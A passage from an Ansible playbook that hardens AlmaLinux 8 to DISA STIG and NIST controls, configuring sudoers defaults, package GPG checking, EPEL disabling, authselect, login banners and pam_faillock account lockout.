      regexp: ^Defaults !targetpw$
      line: Defaults !targetpw
      state: present
    when:
    - '&quot;kernel&quot; in ansible_facts.packages'
    - '&quot;sudo&quot; in ansible_facts.packages'
    tags:
    - DISA-STIG-RHEL-08-010383
    - NIST-800-53-CM-6(b)
    - NIST-800-53-CM-6.1(iv)
    - low_complexity
    - low_disruption
    - medium_severity
    - no_reboot_needed
    - restrict_strategy
    - sudoers_validate_passwd

  - name: Check for duplicate values
    ansible.builtin.lineinfile:
      path: /etc/sudoers
      create: false
      regexp: ^Defaults !rootpw$
      state: absent
    check_mode: true
    changed_when: false
    register: dupes
    when:
    - '&quot;kernel&quot; in ansible_facts.packages'
    - '&quot;sudo&quot; in ansible_facts.packages'
    tags:
    - DISA-STIG-RHEL-08-010383
    - NIST-800-53-CM-6(b)
    - NIST-800-53-CM-6.1(iv)
    - low_complexity
    - low_disruption
    - medium_severity
    - no_reboot_needed
    - restrict_strategy
    - sudoers_validate_passwd

  - name: Deduplicate values from /etc/sudoers
    ansible.builtin.lineinfile:
      path: /etc/sudoers
      create: false
      regexp: ^Defaults !rootpw$
      state: absent
    when:
    - '&quot;kernel&quot; in ansible_facts.packages'
    - '&quot;sudo&quot; in ansible_facts.packages'
    - dupes.found is defined and dupes.found &gt; 1
    tags:
    - DISA-STIG-RHEL-08-010383
    - NIST-800-53-CM-6(b)
    - NIST-800-53-CM-6.1(iv)
    - low_complexity
    - low_disruption
    - medium_severity
    - no_reboot_needed
    - restrict_strategy
    - sudoers_validate_passwd

  - name: Insert correct line into /etc/sudoers
    ansible.builtin.lineinfile:
      path: /etc/sudoers
      create: false
      regexp: ^Defaults !rootpw$
      line: Defaults !rootpw
      state: present
    when:
    - '&quot;kernel&quot; in ansible_facts.packages'
    - '&quot;sudo&quot; in ansible_facts.packages'
    tags:
    - DISA-STIG-RHEL-08-010383
    - NIST-800-53-CM-6(b)
    - NIST-800-53-CM-6.1(iv)
    - low_complexity
    - low_disruption
    - medium_severity
    - no_reboot_needed
    - restrict_strategy
    - sudoers_validate_passwd

  - name: Check for duplicate values
    ansible.builtin.lineinfile:
      path: /etc/sudoers
      create: false
      regexp: ^Defaults !runaspw$
      state: absent
    check_mode: true
    changed_when: false
    register: dupes
    when:
    - '&quot;kernel&quot; in ansible_facts.packages'
    - '&quot;sudo&quot; in ansible_facts.packages'
    tags:
    - DISA-STIG-RHEL-08-010383
    - NIST-800-53-CM-6(b)
    - NIST-800-53-CM-6.1(iv)
    - low_complexity
    - low_disruption
    - medium_severity
    - no_reboot_needed
    - restrict_strategy
    - sudoers_validate_passwd

  - name: Deduplicate values from /etc/sudoers
    ansible.builtin.lineinfile:
      path: /etc/sudoers
      create: false
      regexp: ^Defaults !runaspw$
      state: absent
    when:
    - '&quot;kernel&quot; in ansible_facts.packages'
    - '&quot;sudo&quot; in ansible_facts.packages'
    - dupes.found is defined and dupes.found &gt; 1
    tags:
    - DISA-STIG-RHEL-08-010383
    - NIST-800-53-CM-6(b)
    - NIST-800-53-CM-6.1(iv)
    - low_complexity
    - low_disruption
    - medium_severity
    - no_reboot_needed
    - restrict_strategy
    - sudoers_validate_passwd

  - name: Insert correct line into /etc/sudoers
    ansible.builtin.lineinfile:
      path: /etc/sudoers
      create: false
      regexp: ^Defaults !runaspw$
      line: Defaults !runaspw
      state: present
    when:
    - '&quot;kernel&quot; in ansible_facts.packages'
    - '&quot;sudo&quot; in ansible_facts.packages'
    tags:
    - DISA-STIG-RHEL-08-010383
    - NIST-800-53-CM-6(b)
    - NIST-800-53-CM-6.1(iv)
    - low_complexity
    - low_disruption
    - medium_severity
    - no_reboot_needed
    - restrict_strategy
    - sudoers_validate_passwd

  - name: Ensure yum Removes Previous Package Versions - Ensure YUM Removes Previous
      Package Versions
    ansible.builtin.lineinfile:
      dest: /etc/yum.conf
      regexp: ^#?clean_requirements_on_remove
      line: clean_requirements_on_remove=1
      insertafter: \[main\]
      create: true
    when: ( not ( &quot;kernel&quot; in ansible_facts.packages and &quot;rpm-ostree&quot; in ansible_facts.packages
      and &quot;bootc&quot; in ansible_facts.packages and not &quot;openshift-kubelet&quot; in ansible_facts.packages
      and &quot;ostree&quot; in ansible_proc_cmdline ) and &quot;yum&quot; in ansible_facts.packages )
    tags:
    - DISA-STIG-RHEL-08-010440
    - NIST-800-171-3.4.8
    - NIST-800-53-CM-11(a)
    - NIST-800-53-CM-11(b)
    - NIST-800-53-CM-6(a)
    - NIST-800-53-SI-2(6)
    - clean_components_post_updating
    - low_complexity
    - low_disruption
    - low_severity
    - no_reboot_needed
    - restrict_strategy

  - name: 'Ensure gpgcheck Is Enabled for All Package Repositories: Grep for yum repo
      section names'
    ansible.builtin.shell: |
      set -o pipefail
      grep -HEr '^\[.+\]' -r /etc/yum.repos.d/
    register: repo_grep_results
    failed_when: repo_grep_results.rc not in [0, 1]
    changed_when: false
    tags:
    - DISA-STIG-RHEL-08-010370
    - enable_gpgcheck_for_all_repositories
    - enable_strategy
    - high_severity
    - low_complexity
    - medium_disruption
    - no_reboot_needed

  - name: 'Ensure gpgcheck Is Enabled for All Package Repositories: Set gpgcheck=1
      for each yum repo'
    community.general.ini_file:
      path: '{{ item[0] }}'
      section: '{{ item[1] }}'
      option: gpgcheck
      value: '1'
      no_extra_spaces: true
    loop: '{{ repo_grep_results.stdout | regex_findall( ''(.+\.repo):\[(.+)\]\n?''
      ) if repo_grep_results is not skipped else [] }}'
    when: repo_grep_results is not skipped
    tags:
    - DISA-STIG-RHEL-08-010370
    - enable_gpgcheck_for_all_repositories
    - enable_strategy
    - high_severity
    - low_complexity
    - medium_disruption
    - no_reboot_needed

  - name: Read permission of GPG key directory
    ansible.builtin.stat:
      path: /etc/pki/rpm-gpg/
    register: gpg_key_directory_permission
    check_mode: false
    tags:
    - CJIS-5.10.4.1
    - DISA-STIG-RHEL-08-010019
    - NIST-800-171-3.4.8
    - NIST-800-53-CM-5(3)
    - NIST-800-53-CM-6(a)
    - NIST-800-53-SC-12
    - NIST-800-53-SC-12(3)
    - NIST-800-53-SI-7
    - PCI-DSS-Req-6.2
    - PCI-DSSv4-6.3
    - PCI-DSSv4-6.3.3
    - ensure_almalinux_gpgkey_installed
    - high_severity
    - medium_complexity
    - medium_disruption
    - no_reboot_needed
    - restrict_strategy

  - name: Read signatures in GPG key
    ansible.builtin.command: gpg --show-keys --with-fingerprint --with-colons &quot;/etc/pki/rpm-gpg/RPM-GPG-KEY-AlmaLinux&quot;
    changed_when: false
    register: gpg_fingerprints
    check_mode: false
    tags:
    - CJIS-5.10.4.1
    - DISA-STIG-RHEL-08-010019
    - NIST-800-171-3.4.8
    - NIST-800-53-CM-5(3)
    - NIST-800-53-CM-6(a)
    - NIST-800-53-SC-12
    - NIST-800-53-SC-12(3)
    - NIST-800-53-SI-7
    - PCI-DSS-Req-6.2
    - PCI-DSSv4-6.3
    - PCI-DSSv4-6.3.3
    - ensure_almalinux_gpgkey_installed
    - high_severity
    - medium_complexity
    - medium_disruption
    - no_reboot_needed
    - restrict_strategy

  - name: Set Fact - Installed GPG Fingerprints
    ansible.builtin.set_fact:
      gpg_installed_fingerprints: |-
        {{ gpg_fingerprints.stdout | regex_findall('^pub.*
        (?:^fpr[:]*)([0-9A-Fa-f]*)', '\1') | list }}
    tags:
    - CJIS-5.10.4.1
    - DISA-STIG-RHEL-08-010019
    - NIST-800-171-3.4.8
    - NIST-800-53-CM-5(3)
    - NIST-800-53-CM-6(a)
    - NIST-800-53-SC-12
    - NIST-800-53-SC-12(3)
    - NIST-800-53-SI-7
    - PCI-DSS-Req-6.2
    - PCI-DSSv4-6.3
    - PCI-DSSv4-6.3.3
    - ensure_almalinux_gpgkey_installed
    - high_severity
    - medium_complexity
    - medium_disruption
    - no_reboot_needed
    - restrict_strategy

  - name: Set Fact - Valid fingerprints
    ansible.builtin.set_fact:
      gpg_valid_fingerprints:
      - 5E9B8F5617B5066CE92057C3488FCF7C3ABB34F8
      - BC5EDDCADF502C077F1582882AE81E8ACED7258B
    tags:
    - CJIS-5.10.4.1
    - DISA-STIG-RHEL-08-010019
    - NIST-800-171-3.4.8
    - NIST-800-53-CM-5(3)
    - NIST-800-53-CM-6(a)
    - NIST-800-53-SC-12
    - NIST-800-53-SC-12(3)
    - NIST-800-53-SI-7
    - PCI-DSS-Req-6.2
    - PCI-DSSv4-6.3
    - PCI-DSSv4-6.3.3
    - ensure_almalinux_gpgkey_installed
    - high_severity
    - medium_complexity
    - medium_disruption
    - no_reboot_needed
    - restrict_strategy

  - name: Import AlmaLinux GPG key
    ansible.builtin.rpm_key:
      state: present
      key: /etc/pki/rpm-gpg/RPM-GPG-KEY-AlmaLinux
    when:
    - gpg_key_directory_permission.stat.mode &lt;= '0755'
    - (gpg_installed_fingerprints | difference(gpg_valid_fingerprints)) | length ==
      0
    - gpg_installed_fingerprints | length &gt; 0
    - ansible_distribution == &quot;AlmaLinux&quot; and ansible_distribution_version == &quot;8&quot;
    tags:
    - CJIS-5.10.4.1
    - DISA-STIG-RHEL-08-010019
    - NIST-800-171-3.4.8
    - NIST-800-53-CM-5(3)
    - NIST-800-53-CM-6(a)
    - NIST-800-53-SC-12
    - NIST-800-53-SC-12(3)
    - NIST-800-53-SI-7
    - PCI-DSS-Req-6.2
    - PCI-DSSv4-6.3
    - PCI-DSSv4-6.3.3
    - ensure_almalinux_gpgkey_installed
    - high_severity
    - medium_complexity
    - medium_disruption
    - no_reboot_needed
    - restrict_strategy

  - name: Find all repository files
    find:
      paths: /etc/yum.repos.d/
      patterns: '*.repo'
    register: repo_files
    tags:
    - DISA-STIG-RHEL-08-040010
    - disable_strategy
    - ensure_epel_repos_disabled
    - low_complexity
    - low_disruption
    - medium_severity
    - no_reboot_needed

  - name: Find EPEL repository IDs by name
    shell: |
      set -o pipefail
      # Find repository IDs by name (case-insensitive)
      grep -ioP '^\[\K[^\]]*epel[^\]]*(?=\])' &quot;{{ item.path }}&quot; || true
    register: epel_repo_ids
    loop: '{{ repo_files.files }}'
    changed_when: false
    when: repo_files.files is defined
    tags:
    - DISA-STIG-RHEL-08-040010
    - disable_strategy
    - ensure_epel_repos_disabled
    - low_complexity
    - low_disruption
    - medium_severity
    - no_reboot_needed

  - name: Disable EPEL repositories using dnf/yum config-manager
    command: '{% if ansible_pkg_mgr == &quot;dnf&quot; %} dnf config-manager --set-disabled
      {{ item.1 }} {% else %} yum-config-manager --set-disabled {{ item.1 }} {% endif
      %}'
    loop: '{{ epel_repo_ids.results | subelements(''stdout_lines'', skip_missing=True)
      }}'
    when:
    - epel_repo_ids.results is defined
    - item.1 | length &gt; 0
    loop_control:
      label: '{{ item.1 }}'
    register: disable_result
    changed_when: disable_result.rc == 0
    failed_when: false
    tags:
    - DISA-STIG-RHEL-08-040010
    - disable_strategy
    - ensure_epel_repos_disabled
    - low_complexity
    - low_disruption
    - medium_severity
    - no_reboot_needed

  - name: Ensure GPG check Enabled for Local Packages (yum)
    block:

    - name: Check stats of yum
      ansible.builtin.stat:
        path: /etc/yum.conf
      register: pkg

    - name: Check if config file of yum is a symlink
      ansible.builtin.set_fact:
        pkg_config_file_symlink: '{{ pkg.stat.lnk_target if pkg.stat.lnk_target is
          match(&quot;^/.*&quot;) else &quot;/etc/yum.conf&quot; | dirname ~ &quot;/&quot; ~ pkg.stat.lnk_target
          }}'
      when: pkg.stat.lnk_target is defined

    - name: Ensure GPG check Enabled for Local Packages (yum)
      community.general.ini_file:
        dest: '{{ pkg_config_file_symlink |  default(&quot;/etc/yum.conf&quot;) }}'
        section: main
        option: localpkg_gpgcheck
        value: 1
        no_extra_spaces: true
        create: true
    when: '&quot;yum&quot; in ansible_facts.packages'
    tags:
    - DISA-STIG-RHEL-08-010371
    - NIST-800-171-3.4.8
    - NIST-800-53-CM-11(a)
    - NIST-800-53-CM-11(b)
    - NIST-800-53-CM-5(3)
    - NIST-800-53-CM-6(a)
    - NIST-800-53-SA-12
    - NIST-800-53-SA-12(10)
    - ensure_gpgcheck_local_packages
    - high_severity
    - low_complexity
    - medium_disruption
    - no_reboot_needed
    - unknown_strategy

  - name: Enable authselect - Check Current authselect Profile
    ansible.builtin.command:
      cmd: authselect current
    register: result_authselect_current
    changed_when: false
    failed_when: false
    when: '&quot;kernel&quot; in ansible_facts.packages'
    tags:
    - DISA-STIG-needed_rules
    - NIST-800-53-AC-3
    - PCI-DSSv4-8.3
    - PCI-DSSv4-8.3.4
    - configure_strategy
    - enable_authselect
    - low_complexity
    - medium_disruption
    - medium_severity
    - no_reboot_needed

  - name: Enable authselect - Try to Select an authselect Profile
    ansible.builtin.command:
      cmd: authselect select &quot;{{ var_authselect_profile }}&quot;
    register: result_authselect_select
    changed_when: result_authselect_select.rc == 0
    failed_when: false
    when:
    - '&quot;kernel&quot; in ansible_facts.packages'
    - result_authselect_current.rc != 0
    tags:
    - DISA-STIG-needed_rules
    - NIST-800-53-AC-3
    - PCI-DSSv4-8.3
    - PCI-DSSv4-8.3.4
    - configure_strategy
    - enable_authselect
    - low_complexity
    - medium_disruption
    - medium_severity
    - no_reboot_needed

  - name: Enable authselect - Verify If pam Has Been Altered
    ansible.builtin.command:
      cmd: rpm -qV pam
    register: result_altered_authselect
    changed_when: false
    failed_when: false
    when:
    - '&quot;kernel&quot; in ansible_facts.packages'
    - result_authselect_select is not skipped
    - result_authselect_select.rc != 0
    tags:
    - DISA-STIG-needed_rules
    - NIST-800-53-AC-3
    - PCI-DSSv4-8.3
    - PCI-DSSv4-8.3.4
    - configure_strategy
    - enable_authselect
    - low_complexity
    - medium_disruption
    - medium_severity
    - no_reboot_needed

  - name: Enable authselect - Informative Message Based on authselect Integrity Check
    ansible.builtin.assert:
      that:
      - result_authselect_current.rc == 0 or result_altered_authselect is skipped
        or result_altered_authselect.rc == 0
      fail_msg:
      - authselect is not used but files from the 'pam' package have been altered,
        so the authselect configuration won't be forced.
    when: '&quot;kernel&quot; in ansible_facts.packages'
    tags:
    - DISA-STIG-needed_rules
    - NIST-800-53-AC-3
    - PCI-DSSv4-8.3
    - PCI-DSSv4-8.3.4
    - configure_strategy
    - enable_authselect
    - low_complexity
    - medium_disruption
    - medium_severity
    - no_reboot_needed

  - name: Enable authselect - Force authselect Profile Selection
    ansible.builtin.command:
      cmd: authselect select --force &quot;{{ var_authselect_profile }}&quot;
    when:
    - '&quot;kernel&quot; in ansible_facts.packages'
    - result_authselect_current.rc != 0
    - result_authselect_select.rc != 0
    - result_altered_authselect.rc == 0
    tags:
    - DISA-STIG-needed_rules
    - NIST-800-53-AC-3
    - PCI-DSSv4-8.3
    - PCI-DSSv4-8.3.4
    - configure_strategy
    - enable_authselect
    - low_complexity
    - medium_disruption
    - medium_severity
    - no_reboot_needed

  - name: Modify the System Login Banner - Ensure Correct Banner
    ansible.builtin.copy:
      dest: /etc/issue
      content: |
        {{ login_banner_contents | replace('\n', '
        ') }}
    when: '&quot;kernel&quot; in ansible_facts.packages'
    tags:
    - DISA-STIG-RHEL-08-010060
    - NIST-800-171-3.1.9
    - NIST-800-53-AC-8(a)
    - NIST-800-53-AC-8(c)
    - banner_etc_issue
    - low_complexity
    - medium_disruption
    - medium_severity
    - no_reboot_needed
    - unknown_strategy

  - name: Enable GNOME3 Login Warning Banner
    community.general.ini_file:
      dest: /etc/dconf/db/gdm.d/00-security-settings
      section: org/gnome/login-screen
      option: banner-message-enable
      value: 'true'
      create: true
      no_extra_spaces: true
    register: result_ini
    when: '&quot;gdm&quot; in ansible_facts.packages'
    tags:
    - DISA-STIG-RHEL-08-010049
    - NIST-800-171-3.1.9
    - NIST-800-53-AC-8(a)
    - NIST-800-53-AC-8(b)
    - NIST-800-53-AC-8(c)
    - dconf_gnome_banner_enabled
    - low_complexity
    - medium_disruption
    - medium_severity
    - no_reboot_needed
    - unknown_strategy

  - name: Prevent user modification of GNOME banner-message-enabled
    ansible.builtin.lineinfile:
      path: /etc/dconf/db/gdm.d/locks/00-security-settings-lock
      regexp: ^/org/gnome/login-screen/banner-message-enable$
      line: /org/gnome/login-screen/banner-message-enable
      create: true
    register: result_lineinfile
    when: '&quot;gdm&quot; in ansible_facts.packages'
    tags:
    - DISA-STIG-RHEL-08-010049
    - NIST-800-171-3.1.9
    - NIST-800-53-AC-8(a)
    - NIST-800-53-AC-8(b)
    - NIST-800-53-AC-8(c)
    - dconf_gnome_banner_enabled
    - low_complexity
    - medium_disruption
    - medium_severity
    - no_reboot_needed
    - unknown_strategy

  - name: Dconf Update
    ansible.builtin.command: dconf update
    when:
    - '&quot;gdm&quot; in ansible_facts.packages'
    - result_ini is changed or result_lineinfile is changed
    tags:
    - DISA-STIG-RHEL-08-010049
    - NIST-800-171-3.1.9
    - NIST-800-53-AC-8(a)
    - NIST-800-53-AC-8(b)
    - NIST-800-53-AC-8(c)
    - dconf_gnome_banner_enabled
    - low_complexity
    - medium_disruption
    - medium_severity
    - no_reboot_needed
    - unknown_strategy

  - name: Set the GNOME3 Login Warning Banner Text
    ansible.builtin.file:
      path: /etc/dconf/db/{{ item }}
      owner: root
      group: root
      mode: 493
      state: directory
    with_items:
    - gdm.d
    - gdm.d/locks
    when: '&quot;gdm&quot; in ansible_facts.packages'
    tags:
    - DISA-STIG-RHEL-08-010050
    - NIST-800-171-3.1.9
    - NIST-800-53-AC-8(a)
    - NIST-800-53-AC-8(c)
    - dconf_gnome_login_banner_text
    - low_complexity
    - medium_disruption
    - medium_severity
    - no_reboot_needed
    - unknown_strategy

  - name: Set the GNOME3 Login Warning Banner Text
    ansible.builtin.file:
      path: /etc/dconf/db/gdm.d/{{ item }}
      owner: root
      group: root
      mode: 420
      state: touch
    with_items:
    - 00-security-settings
    - locks/00-security-settings-lock
    when: '&quot;gdm&quot; in ansible_facts.packages'
    tags:
    - DISA-STIG-RHEL-08-010050
    - NIST-800-171-3.1.9
    - NIST-800-53-AC-8(a)
    - NIST-800-53-AC-8(c)
    - dconf_gnome_login_banner_text
    - low_complexity
    - medium_disruption
    - medium_severity
    - no_reboot_needed
    - unknown_strategy

  - name: Set the GNOME3 Login Warning Banner Text
    community.general.ini_file:
      dest: /etc/dconf/db/gdm.d/00-security-settings
      section: org/gnome/login-screen
      option: banner-message-text
      value: '''{{ dconf_login_banner_contents }}'''
      create: true
      no_extra_spaces: true
    register: result_ini
    when: '&quot;gdm&quot; in ansible_facts.packages'
    tags:
    - DISA-STIG-RHEL-08-010050
    - NIST-800-171-3.1.9
    - NIST-800-53-AC-8(a)
    - NIST-800-53-AC-8(c)
    - dconf_gnome_login_banner_text
    - low_complexity
    - medium_disruption
    - medium_severity
    - no_reboot_needed
    - unknown_strategy

  - name: Prevent user modification of the GNOME3 Login Warning Banner Text
    ansible.builtin.lineinfile:
      path: /etc/dconf/db/gdm.d/locks/00-security-settings-lock
      regexp: ^/org/gnome/login-screen/banner-message-text$
      line: /org/gnome/login-screen/banner-message-text
      create: true
      state: present
    register: result_lineinfile
    when: '&quot;gdm&quot; in ansible_facts.packages'
    tags:
    - DISA-STIG-RHEL-08-010050
    - NIST-800-171-3.1.9
    - NIST-800-53-AC-8(a)
    - NIST-800-53-AC-8(c)
    - dconf_gnome_login_banner_text
    - low_complexity
    - medium_disruption
    - medium_severity
    - no_reboot_needed
    - unknown_strategy

  - name: Dconf Update
    ansible.builtin.command: dconf update
    when:
    - '&quot;gdm&quot; in ansible_facts.packages'
    - result_ini is changed or result_lineinfile is changed
    tags:
    - DISA-STIG-RHEL-08-010050
    - NIST-800-171-3.1.9
    - NIST-800-53-AC-8(a)
    - NIST-800-53-AC-8(c)
    - dconf_gnome_login_banner_text
    - low_complexity
    - medium_disruption
    - medium_severity
    - no_reboot_needed
    - unknown_strategy

  - name: Check for pam_succeed_if entry
    ansible.builtin.lineinfile:
      path: /etc/pam.d/sudo
      create: false
      regexp: pam_succeed_if
      state: absent
    when: ( &quot;pam&quot; in ansible_facts.packages and &quot;kernel&quot; in ansible_facts.packages
      )
    tags:
    - DISA-STIG-RHEL-08-010385
    - NIST-800-53-IA-11
    - disallow_bypass_password_sudo
    - low_complexity
    - low_disruption
    - medium_severity
    - no_reboot_needed
    - restrict_strategy

  - name: Configure the Use of the pam_faillock.so Module in the /etc/pam.d/password-auth
      File. - Get current authselect profile
    ansible.builtin.command:
      cmd: authselect current --raw
    register: authselect_current_profile
    changed_when: false
    when: '&quot;kernel&quot; in ansible_facts.packages'
    tags:
    - DISA-STIG-RHEL-08-020026
    - NIST-800-53-AC-7 (a)
    - account_password_pam_faillock_password_auth
    - enable_strategy
    - low_complexity
    - low_disruption
    - medium_severity
    - no_reboot_needed

  - name: Configure the Use of the pam_faillock.so Module in the /etc/pam.d/password-auth
      File. - Force reselect authselect profile
    ansible.builtin.command:
      cmd: authselect select {{ authselect_current_profile.stdout }} --force
    when: '&quot;kernel&quot; in ansible_facts.packages'
    tags:
    - DISA-STIG-RHEL-08-020026
    - NIST-800-53-AC-7 (a)
    - account_password_pam_faillock_password_auth
    - enable_strategy
    - low_complexity
    - low_disruption
    - medium_severity
    - no_reboot_needed

  - name: Configure the Use of the pam_faillock.so Module in the /etc/pam.d/password-auth
      File. - Check if system relies on authselect tool
    ansible.builtin.stat:
      path: /usr/bin/authselect
    register: result_authselect_present
    when: '&quot;kernel&quot; in ansible_facts.packages'
    tags:
    - DISA-STIG-RHEL-08-020026
    - NIST-800-53-AC-7 (a)
    - account_password_pam_faillock_password_auth
    - enable_strategy
    - low_complexity
    - low_disruption
    - medium_severity
    - no_reboot_needed

  - name: Configure the Use of the pam_faillock.so Module in the /etc/pam.d/password-auth
      File. - Remediation where authselect tool is present
    block:

    - name: Configure the Use of the pam_faillock.so Module in the /etc/pam.d/password-auth
        File. - Check integrity of authselect current profile
      ansible.builtin.command:
        cmd: authselect check
      register: result_authselect_check_cmd
      changed_when: false
      check_mode: false
      failed_when: false

    - name: Configure the Use of the pam_faillock.so Module in the /etc/pam.d/password-auth
        File. - Informative message based on the authselect integrity check result
      ansible.builtin.assert:
        that:
        - ansible_check_mode or result_authselect_check_cmd.rc == 0
        fail_msg:
        - authselect integrity check failed. Remediation aborted!
        - This remediation could not be applied because an authselect profile was
          not selected or the selected profile is not intact.
        - It is not recommended to manually edit the PAM files when authselect tool
          is available.
        - In cases where the default authselect profile does not cover a specific
          demand, a custom authselect profile is recommended.
        success_msg:
        - authselect integrity check passed

    - name: Configure the Use of the pam_faillock.so Module in the /etc/pam.d/password-auth
        File. - Get authselect current features
      ansible.builtin.shell:
        cmd: authselect current | tail -n+3 | awk '{ print $2 }'
      register: result_authselect_features
      changed_when: false
      check_mode: false
      when:
      - result_authselect_check_cmd is success

    - name: Configure the Use of the pam_faillock.so Module in the /etc/pam.d/password-auth
        File. - Ensure &quot;with-faillock&quot; feature is enabled using authselect tool
      ansible.builtin.command:
        cmd: authselect enable-feature with-faillock
      register: result_authselect_enable_feature_cmd
      when:
      - result_authselect_check_cmd is success
      - result_authselect_features.stdout is not search(&quot;with-faillock&quot;)

    - name: Configure the Use of the pam_faillock.so Module in the /etc/pam.d/password-auth
        File. - Ensure authselect changes are applied
      ansible.builtin.command:
        cmd: authselect apply-changes -b
      when:
      - result_authselect_enable_feature_cmd is not skipped
      - result_authselect_enable_feature_cmd is success
    when:
    - '&quot;kernel&quot; in ansible_facts.packages'
    - result_authselect_present.stat.exists
    tags:
    - DISA-STIG-RHEL-08-020026
    - NIST-800-53-AC-7 (a)
    - account_password_pam_faillock_password_auth
    - enable_strategy
    - low_complexity
    - low_disruption
    - medium_severity
    - no_reboot_needed

  - name: Configure the Use of the pam_faillock.so Module in the /etc/pam.d/password-auth
      File. - Remediation where authselect tool is not present
    block:

    - name: Configure the Use of the pam_faillock.so Module in the /etc/pam.d/password-auth
        File. - Check if pam_faillock.so is already enabled
      ansible.builtin.lineinfile:
        path: /etc/pam.d/system-auth
        regexp: .*auth.*pam_faillock\.so (preauth|authfail)
        state: absent
      check_mode: true
      changed_when: false
      register: result_pam_faillock_is_enabled

    - name: Configure the Use of the pam_faillock.so Module in the /etc/pam.d/password-auth
        File. - Enable pam_faillock.so preauth editing PAM files
      ansible.builtin.lineinfile:
        path: '{{ item }}'
        line: auth        required      pam_faillock.so preauth
        insertbefore: ^auth.*sufficient.*pam_unix\.so.*
        state: present
      loop:
      - /etc/pam.d/system-auth
      - /etc/pam.d/password-auth
      when:
      - result_pam_faillock_is_enabled.found == 0

    - name: Configure the Use of the pam_faillock.so Module in the /etc/pam.d/password-auth
        File. - Enable pam_faillock.so authfail editing PAM files
      ansible.builtin.lineinfile:
        path: '{{ item }}'
        line: auth        required      pam_faillock.so authfail
        insertbefore: ^auth.*required.*pam_deny\.so.*
        state: present
      loop:
      - /etc/pam.d/system-auth
      - /etc/pam.d/password-auth
      when:
      - result_pam_faillock_is_enabled.found == 0

    - name: Configure the Use of the pam_faillock.so Module in the /etc/pam.d/password-auth
        File. - Enable pam_faillock.so account section editing PAM files
      ansible.builtin.lineinfile:
        path: '{{ item }}'
        line: account     required      pam_faillock.so
        insertbefore: ^account.*required.*pam_unix\.so.*
        state: present
      loop:
      - /etc/pam.d/system-auth
      - /etc/pam.d/password-auth
      when:
      - result_pam_faillock_is_enabled.found == 0
    when:
    - '&quot;kernel&quot; in ansible_facts.packages'
    - not result_authselect_present.stat.exists
    tags:
    - DISA-STIG-RHEL-08-020026
    - NIST-800-53-AC-7 (a)
    - account_password_pam_faillock_password_auth
    - enable_strategy
    - low_complexity
    - low_disruption
    - medium_severity
    - no_reboot_needed

  - name: Configure the Use of the pam_faillock.so Module in the /etc/pam.d/system-auth
      File. - Check if system relies on authselect tool
    ansible.builtin.stat:
      path: /usr/bin/authselect
    register: result_authselect_present
    when: '&quot;kernel&quot; in ansible_facts.packages'
    tags:
    - DISA-STIG-RHEL-08-020025
    - NIST-800-53-AC-7 (a)
    - account_password_pam_faillock_system_auth
    - enable_strategy
    - low_complexity
    - low_disruption
    - medium_severity
    - no_reboot_needed

  - name: Configure the Use of the pam_faillock.so Module in the /etc/pam.d/system-auth
      File. - Remediation where authselect tool is present
    block:

    - name: Configure the Use of the pam_faillock.so Module in the /etc/pam.d/system-auth
        File. - Check integrity of authselect current profile
      ansible.builtin.command:
        cmd: authselect check
      register: result_authselect_check_cmd
      changed_when: false
      check_mode: false
      failed_when: false

    - name: Configure the Use of the pam_faillock.so Module in the /etc/pam.d/system-auth
        File. - Informative message based on the authselect integrity check result
      ansible.builtin.assert:
        that:
        - ansible_check_mode or result_authselect_check_cmd.rc == 0
        fail_msg:
        - authselect integrity check failed. Remediation aborted!
        - This remediation could not be applied because an authselect profile was
          not selected or the selected profile is not intact.
        - It is not recommended to manually edit the PAM files when authselect tool
          is available.
        - In cases where the default authselect profile does not cover a specific
          demand, a custom authselect profile is recommended.
        success_msg:
        - authselect integrity check passed

    - name: Configure the Use of the pam_faillock.so Module in the /etc/pam.d/system-auth
        File. - Get authselect current features
      ansible.builtin.shell:
        cmd: authselect current | tail -n+3 | awk '{ print $2 }'
      register: result_authselect_features
      changed_when: false
      check_mode: false
      when:
      - result_authselect_check_cmd is success

    - name: Configure the Use of the pam_faillock.so Module in the /etc/pam.d/system-auth
        File. - Ensure &quot;with-faillock&quot; feature is enabled using authselect tool
      ansible.builtin.command:
        cmd: authselect enable-feature with-faillock
      register: result_authselect_enable_feature_cmd
      when:
      - result_authselect_check_cmd is success
      - result_authselect_features.stdout is not search(&quot;with-faillock&quot;)

    - name: Configure the Use of the pam_faillock.so Module in the /etc/pam.d/system-auth
        File. - Ensure authselect changes are applied
      ansible.builtin.command:
        cmd: authselect apply-changes -b
      when:
      - result_authselect_enable_feature_cmd is not skipped
      - result_authselect_enable_feature_cmd is success
    when:
    - '&quot;kernel&quot; in ansible_facts.packages'
    - result_authselect_present.stat.exists
    tags:
    - DISA-STIG-RHEL-08-020025
    - NIST-800-53-AC-7 (a)
    - account_password_pam_faillock_system_auth
    - enable_strategy
    - low_complexity
    - low_disruption
    - medium_severity
    - no_reboot_needed

  - name: Configure the Use of the pam_faillock.so Module in the /etc/pam.d/system-auth
      File. - Remediation where authselect tool is not present
    block:

    - name: Configure the Use of the pam_faillock.so Module in the /etc/pam.d/system-auth
        File. - Check if pam_faillock.so is already enabled
      ansible.builtin.lineinfile:
        path: /etc/pam.d/system-auth
        regexp: .*auth.*pam_faillock\.so (preauth|authfail)
        state: absent
      check_mode: true
      changed_when: false
      register: result_pam_faillock_is_enabled

    - name: Configure the Use of the pam_faillock.so Module in the /etc/pam.d/system-auth
        File. - Enable pam_faillock.so preauth editing PAM files
      ansible.builtin.lineinfile:
        path: '{{ item }}'
        line: auth        required      pam_faillock.so preauth
        insertbefore: ^auth.*sufficient.*pam_unix\.so.*
        state: present
      loop:
      - /etc/pam.d/system-auth
      - /etc/pam.d/password-auth
      when:
      - result_pam_faillock_is_enabled.found == 0

    - name: Configure the Use of the pam_faillock.so Module in the /etc/pam.d/system-auth
        File. - Enable pam_faillock.so authfail editing PAM files
      ansible.builtin.lineinfile:
        path: '{{ item }}'
        line: auth        required      pam_faillock.so authfail
        insertbefore: ^auth.*required.*pam_deny\.so.*
        state: present
      loop:
      - /etc/pam.d/system-auth
      - /etc/pam.d/password-auth
      when:
      - result_pam_faillock_is_enabled.found == 0

    - name: Configure the Use of the pam_faillock.so Module in the /etc/pam.d/system-auth
        File. - Enable pam_faillock.so account section editing PAM files
      ansible.builtin.lineinfile:
        path: '{{ item }}'
        line: account     required      pam_faillock.so
        insertbefore: ^account.*required.*pam_unix\.so.*
        state: present
      loop:
      - /etc/pam.d/system-auth
      - /etc/pam.d/password-auth
      when:
      - result_pam_faillock_is_enabled.found == 0
    when:
    - '&quot;kernel&quot; in ansible_facts.packages'
    - not result_authselect_present.stat.exists
    tags:
